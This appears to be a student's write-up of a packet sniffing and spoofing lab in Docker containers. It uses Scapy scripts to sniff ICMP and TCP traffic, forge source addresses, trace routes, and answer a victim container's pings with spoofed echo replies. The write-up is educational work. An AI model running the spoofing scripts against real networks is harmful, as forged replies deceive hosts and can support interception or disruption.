3.1Packet Sniffing and Spoofing

Task 1.1A Sniffing packets

The code

from scapy.all import *

def print_pkt(pkt):
    pkt.show()
pkt = sniff(iface='br-1714b192a2df', filter='icmp',prn=print_pkt)

Executing

You will need 3 terminals to test this functionality

Terminal 1

Switch to the seed user and navigate to the current lab directory
run dcup
This command is short for docker-compose up which build the necessary docker containers for this lab
More explanation of the setup can be found in the lab instructions

Terminal 2

Run ifconfig and watch out for the one that starts with br- that is the network that the docker containers are running in

br-1714b192a2df: flags=4099<UP,BROADCAST,MULTICAST>  mtu 1500
        inet 10.9.0.1  netmask 255.255.255.0  broadcast 10.9.0.255
        ether 02:42:89:d5:83:ca  txqueuelen 0  (Ethernet)
        RX packets 0  bytes 0 (0.0 B)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 0  bytes 0 (0.0 B)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

sudo python3 task1.py
it will start sniffing packets in br-1714b192a2df which is taken from ifconfig

Terminal 3

Run ping 10.9.0.5 to send a ICMP request to one of your docker containers in the network
This ICMP request will then be sniffed by our code that is running in terminal 2

Result

Pasted image 20230922143656.png
We can see that there are two ICMP network packets sniffed
The first request is is a echo-request with src 10.9.0.1 and dst 10.9.0.5. This request is what we sent from terminal 3 to the docker container at 10.9.0.5
The second request is is a echo-reply with src 10.9.0.5 and dst 10.9.0.1. This is a reply that is sent from the docker container at 10.9.0.5 back to the sender

Running without root privileges

Running python3 task1.py will result in a error

Traceback (most recent call last):
  File "task1-1.py", line 9, in <module>
    pkt = sniff(iface='br-1714b192a2df', filter=filterICMP,prn=print_pkt)
  File "/usr/local/lib/python3.8/dist-packages/scapy/sendrecv.py", line 1311, in sniff
    sniffer._run(*args, **kwargs)
  File "/usr/local/lib/python3.8/dist-packages/scapy/sendrecv.py", line 1171, in _run
    sniff_sockets[_RL2(iface)(type=ETH_P_ALL, iface=iface,
  File "/usr/local/lib/python3.8/dist-packages/scapy/arch/linux.py", line 484, in __init__
    self.ins = socket.socket(
  File "/usr/lib/python3.8/socket.py", line 231, in __init__
    _socket.socket.__init__(self, family, type, proto, fileno)
PermissionError: [Errno 1] Operation not permitted

In order for use sniff, the program needs access to the network interface in promiscuous mode. This mode allows the interface to capture all packets it sees, not just those destined for it. Enabling promiscuous mode typically requires elevated privileges.

Task 1.1B packet filter

from scapy.all import *

filterICMP = 'icmp'
filterTCP = 'src host 10.9.0.5 and dst port 12345'
filterSubnet  = 'dst net 128.230.0.0/16'

def print_pkt(pkt):
    pkt.show()
pkt = sniff(iface='br-1714b192a2df', filter=filterTCP,prn=print_pkt)

By constructing different filter, we can test each of them out individually

ICMP

Tested previously see here

TCP

We will be looking out for a TCP packet that is sent from 10.9.0.5 and to a port 12345

We will have one terminal running the task1.py to sniff the packet

Sending TCP packet

Run dockerps to find out all the docker containers
you will get something like

8dd38b71f942  hostA-10.9.0.5
723eef707c45  hostB-10.9.0.6
1a610bd2a6a3  seed-attacker

The string in the first column represents the container's id , since we want to send a tcp request from the docker container that have the network address of 10.9.0.5 which has 8dd38b71f942 as its container id
we then run docksh 8dd38b71f942 to access the terminal in that docker container
In the terminal we run echo "Test Packet" | nc -n -w1 10.9.0.6 12345 -p 1234
This command send a tcp packet with the message Test Packet to 10.9.0.6 and destination port number of 12345

Result

Pasted image 20230922130113.png
We can see that the packet being sniffed is a tcp packet with src=10.9.0.5 and dst=10.9.0.6, in our code we also specify that the destination port should be 12345 and it is indeed 12345 from the output's dport field

Subnet

from scapy.all import *
filterSubnet  = 'src net 128.230.0.0/16'
def print_pkt(pkt):
    pkt.show()
pkt = sniff(filter=filterSubnet,prn=print_pkt)

From the code we have, filterSubnet = 'dst net 128.230.0.0/16' means that we are interested in all the packets that is coming from 128.230.0.0/16 which means that the first 16 bits are fixed, hence, any packets from 128.230.0.0 to 128.230.255.255 will be sniffed
We remove the iface configuration because the subnet that we are using is not in the docker network.
Now try ping 128.230.0.1 you will get the following
Pasted image 20230922154210.png
We received a echo-reply packet from 128.230.0.1 and there is no echo-request packet because we only want the packets coming from the subnet 128.230.0.0/16

Task 1.2 Spoofing attack

from scapy.all import *

a = IP(src= '10.9.0.100' dst='10.9.0.5')
b = ICMP()
p = a/b
send(p)

We are spoofing a ICMP request from 10.9.0.100 to 10.9.0.5 using the ICMP filter from task 1.1 we can see that the packet sniffed is what we intended to send out
by changing the src in the script, we can change the source address of this ICMP packet that we are sending out hence spoofing any arbitrary address

Pasted image 20230922155305.png
Changing src to 233.233.233.233 a random ip address gives the follwing result
Pasted image 20230922160123.png

Task 1.3 Traceroute

from scapy.all import *
import sys

def traceroute(dest, max_hops=30):
    ttl = 1
    while ttl <= max_hops:
        pkt = IP(dst=dest, ttl=ttl) / ICMP()
        reply = sr1(pkt, verbose=0, timeout=2)

        if reply is None:
            print(f"{ttl}. No reply")
        elif reply.type == 0:
            print(f"{ttl}. {reply.src}")
            break

        elif reply.type == 3:
            if reply.code == 3:
                print(f"{ttl}. {reply.src} - Port unreachable (Destination reached)")
                break
        elif reply.type == 11:  # Time Exceeded
            print(f"{ttl}. {reply.src}")
        else:
            print(f"{ttl}. {reply.src} - Unknown response (Type: {reply.type}, Code: {reply.code})")
            break
        ttl += 1


if __name__ == "__main__":
    if len(sys.argv) < 2:
        print(f"Usage: {sys.argv[0]} <destination>")
        sys.exit(1)
    dest = sys.argv[1]
    traceroute(dest)

The traceroute program is mainly made up of a while loop that terminates when the ttl exceeds the max loop
We slowly increase the ttl until a reply.type==0 is received, which indicates a echo reply if a reply.type==11 is received mean Time exceeded we then print out the routing ip increment the ttl
The ICMP type is referenced here

Execution

Trace route internet

Run sudo python3 task1-3.py www.google.com to get the routing information to www.google.com

Result

Pasted image 20230922165324.png

Trace route local

Run sudo python3 task1-3.py 10.9.0.5 to trace the route to a local machine, which should be completed in one hop

Result

Pasted image 20230922165504.png

Task 1.4

from scapy.all import *
def spoof_pkt(pkt):
	if ICMP in pkt and pkt[ICMP].type == 8:
		print("Original Packet ...")
		print("Source IP:", pkt[IP].src)
		print("Destination IP:",pkt[IP].dst)
		ip = IP(src=pkt[IP].dst,dst=pkt[IP].src,ihl=pkt[IP].ihl)
		icmp = ICMP(type=0,id=pkt[ICMP].id,seq=pkt[ICMP].seq)
		data = pkt[Raw].load
		newpkt = ip/icmp/data
		print("spoofed Packet...")
		print("Source IP:", newpkt[IP].src)
		print("Destination IP:",newpkt[IP].dst)
		send(newpkt,verbose=0)
pkt = sniff(iface='br-1714b192a2df', filter='icmp', prn=spoof_pkt)

Execution

Run sudo python3 task1-4.py to start sniffing and spooffing on the host machine (attacker machine)

carry out the same steps here to get into a victim machines's shell

Result

1.2.3.4

Running ping 1.2.3.4 on the victim machine to a non-exisitent host on the internet, no reply should be expected, but since the attacker machine is spoofing a ICMP echo reply to every request, the victim machine will received a reply
Pasted image 20230922225524.png
Pasted image 20230922225822.png
We can see from the second screenshot that the ping command is receiving a reply, but from the attacker

10.9.0.99

When we attempt to ping an IP address in the LAN, the system first tries to resolve the MAC address of the destination IP using the Address Resolution Protocol (ARP). If there's no device with that IP address (10.9.0.99 in this case) on the LAN to answer the ARP request, then no ARP reply will be received.
After some time, if the MAC address cannot be resolved via ARP, the system understands that it cannot send the ICMP echo request to the intended destination, as it doesn't know the hardware (MAC) address of the destination. As a result, it generates an ICMP error message indicating that the destination host is unreachable.
Since the networking stack does not know where to send the ICMP request, nothing is sent and hence, on the attacker side, nothing is received

Pasted image 20230922225758.png

8.8.8.8

This is a known Google DNS server that is alive. In a typical scenario, the victim machine would receive an echo reply from 8.8.8.8. However, due to the attacker machine's spoofed replies, the victim machine received two replies - one genuine from 8.8.8.8 and one spoofed by the attacker.
Pasted image 20230922230628.png
From the result we can see that there are duplicate replies